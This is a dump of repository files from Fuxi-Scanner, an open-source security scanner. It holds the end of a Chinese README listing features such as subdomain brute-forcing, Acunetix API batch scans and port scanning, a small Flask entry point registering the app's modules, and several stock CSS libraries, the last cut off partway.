子域名收集模块\n\n通过基于字典的暴力猜解方式收集企业子域名，可以在系统高级设置配置字典，项目`tests`文件夹下提供了一份域名字典\n\n![fuxi_domain_new_scan.png](images/fuxi_domain_new_scan.png)\n\n![fuxi_poc_list.png](images/fuxi_domain_list.png)\n\n### Acunetix Scanner 接口调用\n\nAWVS 11 不能同时添加多个 URL 地址，该模块通过调用 AWVS 接口进行批量扫描，需在`instance/config.py`配置`AWVS`接口地址及`Key`\n\n![fuxi_acunetix_new_scan.png](images/fuxi_acunetix_new_scan.png)\n\n目前支持任务删除，报告批量下载功能\n\n### 端口扫描\n\n一个端口扫描的辅助功能，用于临时的端口探测，存货主机发现，等等\n\n![fuxi_port_scanner.png](images/fuxi_port_scanner.png)\n\n### 系统设置\n\n各模块扫描线程数，子域名字典配置，端口配置\n\n![fuxi_settings.png](images/fuxi_settings.png)\n\n## 相关链接\n\n- 项目主页: [https://fuxi-scanner.com](https://fuxi-scanner.com)\n- 下载: [.tar](https://github.com/jeffzh3ng/Fuxi-Scanner/tarball/master) or [.zip](https://github.com/jeffzh3ng/Fuxi-Scanner/zipball/master)\n- 邮箱: [jeffzh3ng@gmail.com](mailto:jeffzh3ng@gmail.com)\n- Telegram: [jeffzhang](https://t.me/jeffzhang)\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author  : jeffzhang\n# @Time    : 18-5-9\n# @File    : __init__.py\n# @Desc    : \"\"\n\n\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/app.py",
    "content": "from flask import Flask, render_template\nfrom string import digits, ascii_lowercase\nfrom random import sample\nfrom fuxi.views.authenticate import login_check, authenticate\nfrom fuxi.views.index import index\nfrom fuxi.views.vul_scanner import vul_scanner\nfrom fuxi.views.asset_management import asset_management\nfrom fuxi.views.plugin_management import plugin_management\nfrom fuxi.views.settings import settings\nfrom fuxi.views.dashboard import dashboard\nfrom fuxi.views.port_scanner import port_scanner\nfrom fuxi.views.subdomain_brute import subdomain_brute\nfrom fuxi.views.acunetix_scanner import acunetix_scanner\nfrom fuxi.views.auth_tester import auth_tester\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = ''.join(sample(digits + ascii_lowercase, 10))\n\napp.register_blueprint(authenticate)\napp.register_blueprint(index)\napp.register_blueprint(vul_scanner)\napp.register_blueprint(asset_management)\napp.register_blueprint(plugin_management)\napp.register_blueprint(settings)\napp.register_blueprint(dashboard)\napp.register_blueprint(port_scanner)\napp.register_blueprint(subdomain_brute)\napp.register_blueprint(acunetix_scanner)\napp.register_blueprint(auth_tester)\n\n\n@app.errorhandler(404)\n@login_check\ndef page_not_fount(e):\n    return render_template('404.html'), 404\n\n\n@app.errorhandler(500)\n@login_check\ndef internal_server_error(e):\n    return render_template('500.html'), 500\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/css/dropzone.css",
    "content": "/*\n * The MIT License\n * Copyright (c) 2012 Matias Meno <m@tias.me>\n */\n@-webkit-keyframes passing-through {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30%, 70% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); }\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(-40px);\n    -moz-transform: translateY(-40px);\n    -ms-transform: translateY(-40px);\n    -o-transform: translateY(-40px);\n    transform: translateY(-40px); } }\n@-moz-keyframes passing-through {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30%, 70% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); }\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(-40px);\n    -moz-transform: translateY(-40px);\n    -ms-transform: translateY(-40px);\n    -o-transform: translateY(-40px);\n    transform: translateY(-40px); } }\n@keyframes passing-through {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30%, 70% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); }\n  100% {\n    opacity: 0;\n    -webkit-transform: translateY(-40px);\n    -moz-transform: translateY(-40px);\n    -ms-transform: translateY(-40px);\n    -o-transform: translateY(-40px);\n    transform: translateY(-40px); } }\n@-webkit-keyframes slide-in {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); } }\n@-moz-keyframes slide-in {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); } }\n@keyframes slide-in {\n  0% {\n    opacity: 0;\n    -webkit-transform: translateY(40px);\n    -moz-transform: translateY(40px);\n    -ms-transform: translateY(40px);\n    -o-transform: translateY(40px);\n    transform: translateY(40px); }\n  30% {\n    opacity: 1;\n    -webkit-transform: translateY(0px);\n    -moz-transform: translateY(0px);\n    -ms-transform: translateY(0px);\n    -o-transform: translateY(0px);\n    transform: translateY(0px); } }\n@-webkit-keyframes pulse {\n  0% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); }\n  10% {\n    -webkit-transform: scale(1.1);\n    -moz-transform: scale(1.1);\n    -ms-transform: scale(1.1);\n    -o-transform: scale(1.1);\n    transform: scale(1.1); }\n  20% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); } }\n@-moz-keyframes pulse {\n  0% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); }\n  10% {\n    -webkit-transform: scale(1.1);\n    -moz-transform: scale(1.1);\n    -ms-transform: scale(1.1);\n    -o-transform: scale(1.1);\n    transform: scale(1.1); }\n  20% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); } }\n@keyframes pulse {\n  0% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); }\n  10% {\n    -webkit-transform: scale(1.1);\n    -moz-transform: scale(1.1);\n    -ms-transform: scale(1.1);\n    -o-transform: scale(1.1);\n    transform: scale(1.1); }\n  20% {\n    -webkit-transform: scale(1);\n    -moz-transform: scale(1);\n    -ms-transform: scale(1);\n    -o-transform: scale(1);\n    transform: scale(1); } }\n.dropzone, .dropzone * {\n  box-sizing: border-box; }\n\n.dropzone {\n  min-height: 150px;\n  border: 2px solid rgba(0, 0, 0, 0.3);\n  background: white;\n  padding: 20px 20px; }\n  .dropzone.dz-clickable {\n    cursor: pointer; }\n    .dropzone.dz-clickable * {\n      cursor: default; }\n    .dropzone.dz-clickable .dz-message, .dropzone.dz-clickable .dz-message * {\n      cursor: pointer; }\n  .dropzone.dz-started .dz-message {\n    display: none; }\n  .dropzone.dz-drag-hover {\n    border-style: solid; }\n    .dropzone.dz-drag-hover .dz-message {\n      opacity: 0.5; }\n  .dropzone .dz-message {\n    text-align: center;\n    margin: 2em 0; }\n  .dropzone .dz-preview {\n    position: relative;\n    display: inline-block;\n    vertical-align: top;\n    margin: 16px;\n    min-height: 100px; }\n    .dropzone .dz-preview:hover {\n      z-index: 1000; }\n      .dropzone .dz-preview:hover .dz-details {\n        opacity: 1; }\n    .dropzone .dz-preview.dz-file-preview .dz-image {\n      border-radius: 20px;\n      background: #999;\n      background: linear-gradient(to bottom, #eee, #ddd); }\n    .dropzone .dz-preview.dz-file-preview .dz-details {\n      opacity: 1; }\n    .dropzone .dz-preview.dz-image-preview {\n      background: white; }\n      .dropzone .dz-preview.dz-image-preview .dz-details {\n        -webkit-transition: opacity 0.2s linear;\n        -moz-transition: opacity 0.2s linear;\n        -ms-transition: opacity 0.2s linear;\n        -o-transition: opacity 0.2s linear;\n        transition: opacity 0.2s linear; }\n    .dropzone .dz-preview .dz-remove {\n      font-size: 14px;\n      text-align: center;\n      display: block;\n      cursor: pointer;\n      border: none; }\n      .dropzone .dz-preview .dz-remove:hover {\n        text-decoration: underline; }\n    .dropzone .dz-preview:hover .dz-details {\n      opacity: 1; }\n    .dropzone .dz-preview .dz-details {\n      z-index: 20;\n      position: absolute;\n      top: 0;\n      left: 0;\n      opacity: 0;\n      font-size: 13px;\n      min-width: 100%;\n      max-width: 100%;\n      padding: 2em 1em;\n      text-align: center;\n      color: rgba(0, 0, 0, 0.9);\n      line-height: 150%; }\n      .dropzone .dz-preview .dz-details .dz-size {\n        margin-bottom: 1em;\n        font-size: 16px; }\n      .dropzone .dz-preview .dz-details .dz-filename {\n        white-space: nowrap; }\n        .dropzone .dz-preview .dz-details .dz-filename:hover span {\n          border: 1px solid rgba(200, 200, 200, 0.8);\n          background-color: rgba(255, 255, 255, 0.8); }\n        .dropzone .dz-preview .dz-details .dz-filename:not(:hover) {\n          overflow: hidden;\n          text-overflow: ellipsis; }\n          .dropzone .dz-preview .dz-details .dz-filename:not(:hover) span {\n            border: 1px solid transparent; }\n      .dropzone .dz-preview .dz-details .dz-filename span, .dropzone .dz-preview .dz-details .dz-size span {\n        background-color: rgba(255, 255, 255, 0.4);\n        padding: 0 0.4em;\n        border-radius: 3px; }\n    .dropzone .dz-preview:hover .dz-image img {\n      -webkit-transform: scale(1.05, 1.05);\n      -moz-transform: scale(1.05, 1.05);\n      -ms-transform: scale(1.05, 1.05);\n      -o-transform: scale(1.05, 1.05);\n      transform: scale(1.05, 1.05);\n      -webkit-filter: blur(8px);\n      filter: blur(8px); }\n    .dropzone .dz-preview .dz-image {\n      border-radius: 20px;\n      overflow: hidden;\n      width: 120px;\n      height: 120px;\n      position: relative;\n      display: block;\n      z-index: 10; }\n      .dropzone .dz-preview .dz-image img {\n        display: block; }\n    .dropzone .dz-preview.dz-success .dz-success-mark {\n      -webkit-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -moz-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -ms-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -o-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);\n      animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1); }\n    .dropzone .dz-preview.dz-error .dz-error-mark {\n      opacity: 1;\n      -webkit-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -moz-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -ms-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);\n      -o-animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1);\n      animation: slide-in 3s cubic-bezier(0.77, 0, 0.175, 1); }\n    .dropzone .dz-preview .dz-success-mark, .dropzone .dz-preview .dz-error-mark {\n      pointer-events: none;\n      opacity: 0;\n      z-index: 500;\n      position: absolute;\n      display: block;\n      top: 50%;\n      left: 50%;\n      margin-left: -27px;\n      margin-top: -27px; }\n      .dropzone .dz-preview .dz-success-mark svg, .dropzone .dz-preview .dz-error-mark svg {\n        display: block;\n        width: 54px;\n        height: 54px; }\n    .dropzone .dz-preview.dz-processing .dz-progress {\n      opacity: 1;\n      -webkit-transition: all 0.2s linear;\n      -moz-transition: all 0.2s linear;\n      -ms-transition: all 0.2s linear;\n      -o-transition: all 0.2s linear;\n      transition: all 0.2s linear; }\n    .dropzone .dz-preview.dz-complete .dz-progress {\n      opacity: 0;\n      -webkit-transition: opacity 0.4s ease-in;\n      -moz-transition: opacity 0.4s ease-in;\n      -ms-transition: opacity 0.4s ease-in;\n      -o-transition: opacity 0.4s ease-in;\n      transition: opacity 0.4s ease-in; }\n    .dropzone .dz-preview:not(.dz-processing) .dz-progress {\n      -webkit-animation: pulse 6s ease infinite;\n      -moz-animation: pulse 6s ease infinite;\n      -ms-animation: pulse 6s ease infinite;\n      -o-animation: pulse 6s ease infinite;\n      animation: pulse 6s ease infinite; }\n    .dropzone .dz-preview .dz-progress {\n      opacity: 1;\n      z-index: 1000;\n      pointer-events: none;\n      position: absolute;\n      height: 16px;\n      left: 50%;\n      top: 50%;\n      margin-top: -8px;\n      width: 80px;\n      margin-left: -40px;\n      background: rgba(255, 255, 255, 0.9);\n      -webkit-transform: scale(1);\n      border-radius: 8px;\n      overflow: hidden; }\n      .dropzone .dz-preview .dz-progress .dz-upload {\n        background: #333;\n        background: linear-gradient(to bottom, #666, #444);\n        position: absolute;\n        top: 0;\n        left: 0;\n        bottom: 0;\n        width: 0;\n        -webkit-transition: width 300ms ease-in-out;\n        -moz-transition: width 300ms ease-in-out;\n        -ms-transition: width 300ms ease-in-out;\n        -o-transition: width 300ms ease-in-out;\n        transition: width 300ms ease-in-out; }\n    .dropzone .dz-preview.dz-error .dz-error-message {\n      display: block; }\n    .dropzone .dz-preview.dz-error:hover .dz-error-message {\n      opacity: 1;\n      pointer-events: auto; }\n    .dropzone .dz-preview .dz-error-message {\n      pointer-events: none;\n      z-index: 1000;\n      position: absolute;\n      display: block;\n      display: none;\n      opacity: 0;\n      -webkit-transition: opacity 0.3s ease;\n      -moz-transition: opacity 0.3s ease;\n      -ms-transition: opacity 0.3s ease;\n      -o-transition: opacity 0.3s ease;\n      transition: opacity 0.3s ease;\n      border-radius: 8px;\n      font-size: 13px;\n      top: 130px;\n      left: -10px;\n      width: 140px;\n      background: #be2626;\n      background: linear-gradient(to bottom, #be2626, #a92222);\n      padding: 0.5em 1.2em;\n      color: white; }\n      .dropzone .dz-preview .dz-error-message:after {\n        content: '';\n        position: absolute;\n        top: -6px;\n        left: 64px;\n        width: 0;\n        height: 0;\n        border-left: 6px solid transparent;\n        border-right: 6px solid transparent;\n        border-bottom: 6px solid #be2626; }\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-duallistbox.css",
    "content": "/*\n *  Bootstrap Duallistbox - v3.0.5\n *  A responsive dual listbox widget optimized for Twitter Bootstrap. It works on all modern browsers and on touch devices.\n *  http://www.virtuosoft.eu/code/bootstrap-duallistbox/\n *\n *  Made by István Ujj-Mészáros\n *  Under Apache License v2.0 License\n */\n.bootstrap-duallistbox-container .buttons {\n  width: 100%;\n  margin-bottom: -1px;\n}\n\n.bootstrap-duallistbox-container label {\n  display: block;\n}\n\n.bootstrap-duallistbox-container .info {\n  display: inline-block;\n  margin-bottom: 5px;\n  font-size: 11px;\n}\n\n.bootstrap-duallistbox-container .clear1,\n.bootstrap-duallistbox-container .clear2 {\n  display: none;\n  font-size: 10px;\n}\n\n.bootstrap-duallistbox-container .box1.filtered .clear1,\n.bootstrap-duallistbox-container .box2.filtered .clear2 {\n  display: inline-block;\n}\n\n.bootstrap-duallistbox-container .move,\n.bootstrap-duallistbox-container .remove {\n  width: 60%;\n}\n\n.bootstrap-duallistbox-container .btn-group .btn {\n  border-bottom-left-radius: 0;\n  border-bottom-right-radius: 0;\n}\n.bootstrap-duallistbox-container select {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.bootstrap-duallistbox-container .moveall,\n.bootstrap-duallistbox-container .removeall {\n  width: 40%;\n}\n\n.bootstrap-duallistbox-container.bs2compatible .btn-group > .btn + .btn {\n  margin-left: 0;\n}\n\n.bootstrap-duallistbox-container select {\n  width: 100%;\n  height: 300px;\n  padding: 0;\n}\n\n.bootstrap-duallistbox-container .filter {\n  display: inline-block;\n  width: 100%;\n  height: 31px;\n  margin: 0 0 5px 0;\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n.bootstrap-duallistbox-container .filter.placeholder {\n  color: #aaa;\n}\n\n.bootstrap-duallistbox-container.moveonselect .move,\n.bootstrap-duallistbox-container.moveonselect .remove {\n  display:none;\n}\n\n.bootstrap-duallistbox-container.moveonselect .moveall,\n.bootstrap-duallistbox-container.moveonselect .removeall {\n  width: 100%;\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-multiselect.css",
    "content": ".multiselect-container{position:absolute;list-style-type:none;margin:0;padding:0}.multiselect-container .input-group{margin:5px}.multiselect-container>li{padding:0}.multiselect-container>li>a.multiselect-all label{font-weight:700}.multiselect-container>li.multiselect-group label{margin:0;padding:3px 20px 3px 20px;height:100%;font-weight:700}.multiselect-container>li.multiselect-group-clickable label{cursor:pointer}.multiselect-container>li>a{padding:0}.multiselect-container>li>a>label{margin:0;height:100%;cursor:pointer;font-weight:400;padding:3px 20px 3px 40px}.multiselect-container>li>a>label.radio,.multiselect-container>li>a>label.checkbox{margin:0}.multiselect-container>li>a>label>input[type=checkbox]{margin-bottom:5px}.btn-group>.btn-group:nth-child(2)>.multiselect.btn{border-top-left-radius:4px;border-bottom-left-radius:4px}.form-inline .multiselect-container label.checkbox,.form-inline .multiselect-container label.radio{padding:3px 20px 3px 40px}.form-inline .multiselect-container li a label.checkbox input[type=checkbox],.form-inline .multiselect-container li a label.radio input[type=radio]{margin-left:-20px;margin-right:0}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css",
    "content": "/*!\n *  Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */\n/* FONT PATH\n * -------------------------- */\n@font-face {\n  font-family: 'FontAwesome';\n  src: url('../fonts/fontawesome-webfont.eot?v=4.7.0');\n  src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');\n  font-weight: normal;\n  font-style: normal;\n}\n.fa {\n  display: inline-block;\n  font: normal normal normal 14px/1 FontAwesome;\n  font-size: inherit;\n  text-rendering: auto;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n/* makes the font 33% larger relative to the icon container */\n.fa-lg {\n  font-size: 1.33333333em;\n  line-height: 0.75em;\n  vertical-align: -15%;\n}\n.fa-2x {\n  font-size: 2em;\n}\n.fa-3x {\n  font-size: 3em;\n}\n.fa-4x {\n  font-size: 4em;\n}\n.fa-5x {\n  font-size: 5em;\n}\n.fa-fw {\n  width: 1.28571429em;\n  text-align: center;\n}\n.fa-ul {\n  padding-left: 0;\n  margin-left: 2.14285714em;\n  list-style-type: none;\n}\n.fa-ul > li {\n  position: relative;\n}\n.fa-li {\n  position: absolute;\n  left: -2.14285714em;\n  width: 2.14285714em;\n  top: 0.14285714em;\n  text-align: center;\n}\n.fa-li.fa-lg {\n  left: -1.85714286em;\n}\n.fa-border {\n  padding: .2em .25em .15em;\n  border: solid 0.08em #eeeeee;\n  border-radius: .1em;\n}\n.fa-pull-left {\n  float: left;\n}\n.fa-pull-right {\n  float: right;\n}\n.fa.fa-pull-left {\n  margin-right: .3em;\n}\n.fa.fa-pull-right {\n  margin-left: .3em;\n}\n/* Deprecated as of 4.4.0 */\n.pull-right {\n  float: right;\n}\n.pull-left {\n  float: left;\n}\n.fa.pull-left {\n  margin-right: .3em;\n}\n.fa.pull-right {\n  margin-left: .3em;\n}\n.fa-spin {\n  -webkit-animation: fa-spin 2s infinite linear;\n  animation: fa-spin 2s infinite linear;\n}\n.fa-pulse {\n  -webkit-animation: fa-spin 1s infinite steps(8);\n  animation: fa-spin 1s infinite steps(8);\n}\n@-webkit-keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n@keyframes fa-spin {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(359deg);\n    transform: rotate(359deg);\n  }\n}\n.fa-rotate-90 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n  -webkit-transform: rotate(90deg);\n  -ms-transform: rotate(90deg);\n  transform: rotate(90deg);\n}\n.fa-rotate-180 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n  -webkit-transform: rotate(180deg);\n  -ms-transform: rotate(180deg);\n  transform: rotate(180deg);\n}\n.fa-rotate-270 {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n  -webkit-transform: rotate(270deg);\n  -ms-transform: rotate(270deg);\n  transform: rotate(270deg);\n}\n.fa-flip-horizontal {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n  -webkit-transform: scale(-1, 1);\n  -ms-transform: scale(-1, 1);\n  transform: scale(-1, 1);\n}\n.fa-flip-vertical {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n  -webkit-transform: scale(1, -1);\n  -ms-transform: scale(1, -1);\n  transform: scale(1, -1);\n}\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical {\n  filter: none;\n}\n.fa-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.fa-stack-1x,\n.fa-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.fa-stack-1x {\n  line-height: inherit;\n}\n.fa-stack-2x {\n  font-size: 2em;\n}\n.fa-inverse {\n  color: #ffffff;\n}\n/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen\n   readers do not read off random characters that represent icons */\n.fa-glass:before {\n  content: \"\\f000\";\n}\n.fa-music:before {\n  content: \"\\f001\";\n}\n.fa-search:before {\n  content: \"\\f002\";\n}\n.fa-envelope-o:before {\n  content: \"\\f003\";\n}\n.fa-heart:before {\n  content: \"\\f004\";\n}\n.fa-star:before {\n  content: \"\\f005\";\n}\n.fa-star-o:before {\n  content: \"\\f006\";\n}\n.fa-user:before {\n  content: \"\\f007\";\n}\n.fa-film:before {\n  content: \"\\f008\";\n}\n.fa-th-large:before {\n  content: \"\\f009\";\n}\n.fa-th:before {\n  content: \"\\f00a\";\n}\n.fa-th-list:before {\n  content: \"\\f00b\";\n}\n.fa-check:before {\n  content: \"\\f00c\";\n}\n.fa-remove:before,\n.fa-close:before,\n.fa-times:before {\n  content: \"\\f00d\";\n}\n.fa-search-plus:before {\n  content: \"\\f00e\";\n}\n.fa-search-minus:before {\n  content: \"\\f010\";\n}\n.fa-power-off:before {\n  content: \"\\f011\";\n}\n.fa-signal:before {\n  content: \"\\f012\";\n}\n.fa-gear:before,\n.fa-cog:before {\n  content: \"\\f013\";\n}\n.fa-trash-o:before {\n  content: \"\\f014\";\n}\n.fa-home:before {\n  content: \"\\f015\";\n}\n.fa-file-o:before {\n  content: \"\\f016\";\n}\n.fa-clock-o:before {\n  content: \"\\f017\";\n}\n.fa-road:before {\n  content: \"\\f018\";\n}\n.fa-download:before {\n  content: \"\\f019\";\n}\n.fa-arrow-circle-o-down:before {\n  content: \"\\f01a\";\n}\n.fa-arrow-circle-o-up:before {\n  content: \"\\f01b\";\n}\n.fa-inbox:before {\n  content: \"\\f01c\";\n}\n.fa-play-circle-o:before {\n  content: \"\\f01d\";\n}\n.fa-rotate-right:before,\n.fa-repeat:before {\n  content: \"\\f01e\";\n}\n.fa-refresh:before {\n  content: \"\\f021\";\n}\n.fa-list-alt:before {\n  content: \"\\f022\";\n}\n.fa-lock:before {\n  content: \"\\f023\";\n}\n.fa-flag:before {\n  content: \"\\f024\";\n}\n.fa-headphones:before {\n  content: \"\\f025\";\n}\n.fa-volume-off:before {\n  content: \"\\f026\";\n}\n.fa-volume-down:before {\n  content: \"\\f027\";\n}\n.fa-volume-up:before {\n  content: \"\\f028\";\n}\n.fa-qrcode:before {\n  content: \"\\f029\";\n}\n.fa-barcode:before {\n  content: \"\\f02a\";\n}\n.fa-tag:before {\n  content: \"\\f02b\";\n}\n.fa-tags:before {\n  content: \"\\f02c\";\n}\n.fa-book:before {\n  content: \"\\f02d\";\n}\n.fa-bookmark:before {\n  content: \"\\f02e\";\n}\n.fa-print:before {\n  content: \"\\f02f\";\n}\n.fa-camera:before {\n  content: \"\\f030\";\n}\n.fa-font:before {\n  content: \"\\f031\";\n}\n.fa-bold:before {\n  content: \"\\f032\";\n}\n.fa-italic:before {\n  content: \"\\f033\";\n}\n.fa-text-height:before {\n  content: \"\\f034\";\n}\n.fa-text-width:before {\n  content: \"\\f035\";\n}\n.fa-align-left:before {\n  content: \"\\f036\";\n}\n.fa-align-center:before {\n  content: \"\\f037\";\n}\n.fa-align-right:before {\n  content: \"\\f038\";\n}\n.fa-align-justify:before {\n  content: \"\\f039\";\n}\n.fa-list:before {\n  content: \"\\f03a\";\n}\n.fa-dedent:before,\n.fa-outdent:before {\n  content: \"\\f03b\";\n}\n.fa-indent:before {\n  content: \"\\f03c\";\n}\n.fa-video-camera:before {\n  content: \"\\f03d\";\n}\n.fa-photo:before,\n.fa-image:before,\n.fa-picture-o:before {\n  content: \"\\f03e\";\n}\n.fa-pencil:before {\n  content: \"\\f040\";\n}\n.fa-map-marker:before {\n  content: \"\\f041\";\n}\n.fa-adjust:before {\n  content: \"\\f042\";\n}\n.fa-tint:before {\n  content: \"\\f043\";\n}\n.fa-edit:before,\n.fa-pencil-square-o:before {\n  content: \"\\f044\";\n}\n.fa-share-square-o:before {\n  content: \"\\f045\";\n}\n.fa-check-square-o:before {\n  content: \"\\f046\";\n}\n.fa-arrows:before {\n  content: \"\\f047\";\n}\n.fa-step-backward:before {\n  content: \"\\f048\";\n}\n.fa-fast-backward:before {\n  content: \"\\f049\";\n}\n.fa-backward:before {\n  content: \"\\f04a\";\n}\n.fa-play:before {\n  content: \"\\f04b\";\n}\n.fa-pause:before {\n  content: \"\\f04c\";\n}\n.fa-stop:before {\n  content: \"\\f04d\";\n}\n.fa-forward:before {\n  content: \"\\f04e\";\n}\n.fa-fast-forward:before {\n  content: \"\\f050\";\n}\n.fa-step-forward:before {\n  content: \"\\f051\";\n}\n.fa-eject:before {\n  content: \"\\f052\";\n}\n.fa-chevron-left:before {\n  content: \"\\f053\";\n}\n.fa-chevron-right:before {\n  content: \"\\f054\";\n}\n.fa-plus-circle:before {\n  content: \"\\f055\";\n}\n.fa-minus-circle:before {\n  content: \"\\f056\";\n}\n.fa-times-circle:before {\n  content: \"\\f057\";\n}\n.fa-check-circle:before {\n  content: \"\\f058\";\n}\n.fa-question-circle:before {\n  content: \"\\f059\";\n}\n.fa-info-circle:before {\n  content: \"\\f05a\";\n}\n.fa-crosshairs:before {\n  content: \"\\f05b\";\n}\n.fa-times-circle-o:before {\n  content: \"\\f05c\";\n}\n.fa-check-circle-o:before {\n  content: \"\\f05d\";\n}\n.fa-ban:before {\n  content: \"\\f05e\";\n}\n.fa-arrow-left:before {\n  content: \"\\f060\";\n}\n.fa-arrow-right:before {\n  content: \"\\f061\";\n}\n.fa-arrow-up:before {\n  content: \"\\f062\";\n}\n.fa-arrow-down:before {\n  content: \"\\f063\";\n}\n.fa-mail-forward:before,\n.fa-share:before {\n  content: \"\\f064\";\n}\n.fa-expand:before {\n  content: \"\\f065\";\n}\n.fa-compress:before {\n  content: \"\\f066\";\n}\n.fa-plus:before {\n  content: \"\\f067\";\n}\n.fa-minus:before {\n  content: \"\\f068\";\n}\n.fa-asterisk:before {\n  content: \"\\f069\";\n}\n.fa-exclamation-circle:before {\n  content: \"\\f06a\";\n}\n.fa-gift:before {\n  content: \"\\f06b\";\n}\n.fa-leaf:before {\n  content: \"\\f06c\";\n}\n.fa-fire:before {\n  content: \"\\f06d\";\n}\n.fa-eye:before {\n  content: \"\\f06e\";\n}\n.fa-eye-slash:before {\n  content: \"\\f070\";\n}\n.fa-warning:before,\n.fa-exclamation-triangle:before {\n  content: \"\\f071\";\n}\n.fa-plane:before {\n  content: \"\\f072\";\n}\n.fa-calendar:before {\n  content: \"\\f073\";\n}\n.fa-random:before {\n  content: \"\\f074\";\n}\n.fa-comment:before {\n  content: \"\\f075\";\n}\n.fa-magnet:before {\n  content: 